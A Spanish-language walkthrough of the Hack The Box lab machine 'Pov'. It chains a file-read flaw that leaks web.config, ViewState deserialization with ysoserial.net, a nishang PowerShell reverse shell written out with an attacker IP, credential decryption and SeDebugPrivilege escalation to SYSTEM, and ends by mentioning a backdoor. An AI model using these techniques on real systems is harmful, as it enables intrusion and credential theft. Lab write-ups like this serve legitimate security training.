Pov

Pov es una máquina Windows de dificultad media que comienza con una página web que presenta un sitio comercial. Al enumerar la página web inicial, un atacante puede encontrar el subdominio dev.pov.htb. Al navegar al subdominio recién descubierto, una opción download es vulnerable a la lectura remota de archivos, lo que le da a un atacante los medios para obtener información valiosa del archivo web.config. El subdominio usa el mecanismo ViewState, que, en combinación con los secretos filtrados del archivo web.config, es vulnerable a la deserialización insegura, lo que lleva a la ejecución remota de código como el usuario sfitz. Al observar el sistema de archivos remoto, un atacante puede descubrir y manipular un archivo que revela las credenciales del usuario alaading. Una vez que el atacante tiene la ejecución de código como el usuario alaading, se abusa de SeDebugPrivilege para obtener la ejecución de código en el contexto de una aplicación privilegiada, lo que finalmente resulta en la ejecución de código como nt authority\system.

20240310203241.png

Enumeración

Indicaremos haciendo un escaneo de los puertos abiertos con nmap

  • -p-: Esta opción indica a Nmap que escanee todos los puertos (desde el puerto 1 hasta el puerto 65535).

  • --open: Esta opción hace que Nmap solo muestre los puertos que están abiertos, es decir, aquellos que responden a las solicitudes de conexión.

  • --min-rate 1000: Esto establece la tasa mínima de paquetes por segundo a 1000. Esto puede acelerar el escaneo, enviando más paquetes por segundo, aunque también puede aumentar la posibilidad de ser detectado por sistemas de prevención de intrusiones (IPS).

  • -vvv: Esta opción habilita la salida de nivel de verbosidad máxima. Muestra información detallada sobre el progreso del escaneo y los resultados.

  • -Pn: Esta opción indica a Nmap que no realice el escaneo de descubrimiento de hosts, lo que significa que no intentará determinar si los hosts están activos antes de escanear los puertos. Útil si sabes que el host objetivo no responderá a los paquetes de ping.

  • -n: Esta opción indica a Nmap que no realice resolución de DNS inversa durante el escaneo. Puede hacer que el escaneo sea más rápido, especialmente en redes donde la resolución de DNS inversa es lenta o está configurada incorrectamente.

  • 10.10.11.251: Esta es la dirección IP del host que se va a escanear.

Encontramos el puerto 80 abierto, entonces procederemos a escanear los servicios y versiones del puerto abierto.

  • -p80: Especifica que se escanee el puerto 80 del host. Este es un escaneo específico para determinar qué servicios pueden estar funcionando en el puerto 80.

  • -sC: Activa la opción de enumeración de scripts predeterminados de Nmap. Esta opción permite ejecutar una serie de scripts diseñados para detectar vulnerabilidades o características específicas de los servicios.

  • -sV: Realiza una detección de la versión de los servicios que se encuentran en los puertos especificados.

  • -Pn: Ignora el descubrimiento de hosts y asume que el objetivo está activo.

  • -vvv: Establece un nivel alto de verbosidad para la salida, lo que significa que se mostrará una gran cantidad de información sobre el proceso de escaneo.

  • 10.10.11.251: Es la dirección IP del host que se va a escanear.

  • -oN servicesScan: Especifica que la salida del escaneo se guardará en un archivo llamado "servicesScan" en formato normal.

Puerto 80 - sitio web

En el puerto 80 nos encontramos con un sitio web, el cual al parecer tiene un dominio que podemos ver en el correo

20240310210050.png

Luego enumeraremos los subdominios haciendo uso de la herramienta de ffuf

20240310205826.png

Encontraremos un sub dominio que es dev en el que tiene el siguiente contenido.

20240310210105.png

Viendo el sitio web del sub dominio podemos interceptar cuando la petición de descarga del CV

20240311095149.png

Para ello usamos Burp Suite y cambiando el parámetro en file a web.config podremos encontrar con un contenido de credenciales de conexión

20240311084739.png

El contenido que se encuentra es el siguiente:

Luego de investigar mas acerca del contenido podemos llegar a explotarlo, los siguientes post pueden ayudar a entender como:

Explotación

Luego de leer y entender como llegar a explotarlo podremos usar el ysoserial.netarrow-up-right . Usaremos una maquina windows 10 y ejecutaremos lo siguiente en una cmd.

20240311095051.png

Luego de insertaremos en __VIEWSTATE= el contenido que obtuvimos de la ejecución de ysoserial.net

20240311095120.png

Antes de enviar la petición debemos descargar Invoke-PowerShellTcp.ps1arrow-up-right del repositorio de nishangarrow-up-right. Para que el script de powershell se ejecuta, al final del script escribiremos Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.4 443 para obtener una shell a la hora de que se hace la consulta.

20240311095223.png

Luego iniciaremos un servidor web con Python en el puerto 80

20240311095508.png

Y finalmente nos pondremos a la escucha con ncat

20240311095441.png

Escalada de privilegios

Usuario : sfitz

Luego de obtener un shell, enumerando encontraremos con un archivo connection.xml que investigando nos encontraremos con los siguientes post:

Luego pondremos solo la credencial en es archivo t.txt para luego ejecutar lo siguiente:

Así podremos obtener la credencial del usuario alaading

Prueba en local

Para entender cono se crea este archivo lo que haremos y probaremos en nuestra maquina Windows.

Crear archivo XML

Obtener la contraseña

Luego de saber que comandos debemos de usar para crear y obtener la credencial del archivo .xml.

Ejecutamos en la PowerShell y podremos obtener un archivo .xml con las credenciales

20240311200301.png

Luego ejecutaremos los comandos para obtener la contraseña del usuario.

20240311200332.png

Luego de ejecutar obtenemos nuestra contraseña del usuario de la maquina. También podemos ejecutar lo siguiente y deberíamos de obtener la credenciales

20240311201400.png

Runas.exe

Ahora, luego de obtener las credenciales haremos uso de runasCsarrow-up-right para obtener una shell, pero antes debemos de subir el binario de runasCs.exe con un servidor que podemos en Python3 y luego para descargar desde la maquina usaremos certutil

Luego ejecutaremos runasCs.exe indicando la IP y el puerto en donde recibiremos la Shell.

20240311203447.png

Antes de ejecutar RunasCs debemos de poner a la escucha ncat y deberia de recibir una shell.

20240311203535.png

Usuario : alaading

Enumerando encontraremos que tenemos privilegios de SeDebufPrivilege

20240311203555.png

Para poder explotar podemos leer un poco mas en SeDebugPrivilegearrow-up-right para entender que debemos de hacer.

Descargaremos psgetsys.ps1 para obtener el PID de winlogon

Como segundo paso subiremos el nc.exe y tambien SeDebugPrivesc.exe

Teniendo el PID, lo que haremos será ejecutar SeDebugPrivesc.exe

20240312123818.png

Antes debemos de ponernos a la escucha con ncat

20240312123908.png

Usuario : Administrator

Luego tenemos una shell privilegiada y podemos habilitar cierto puerto, asi conectarnos o colocando un backdoor.

20240312123926.png

Last updated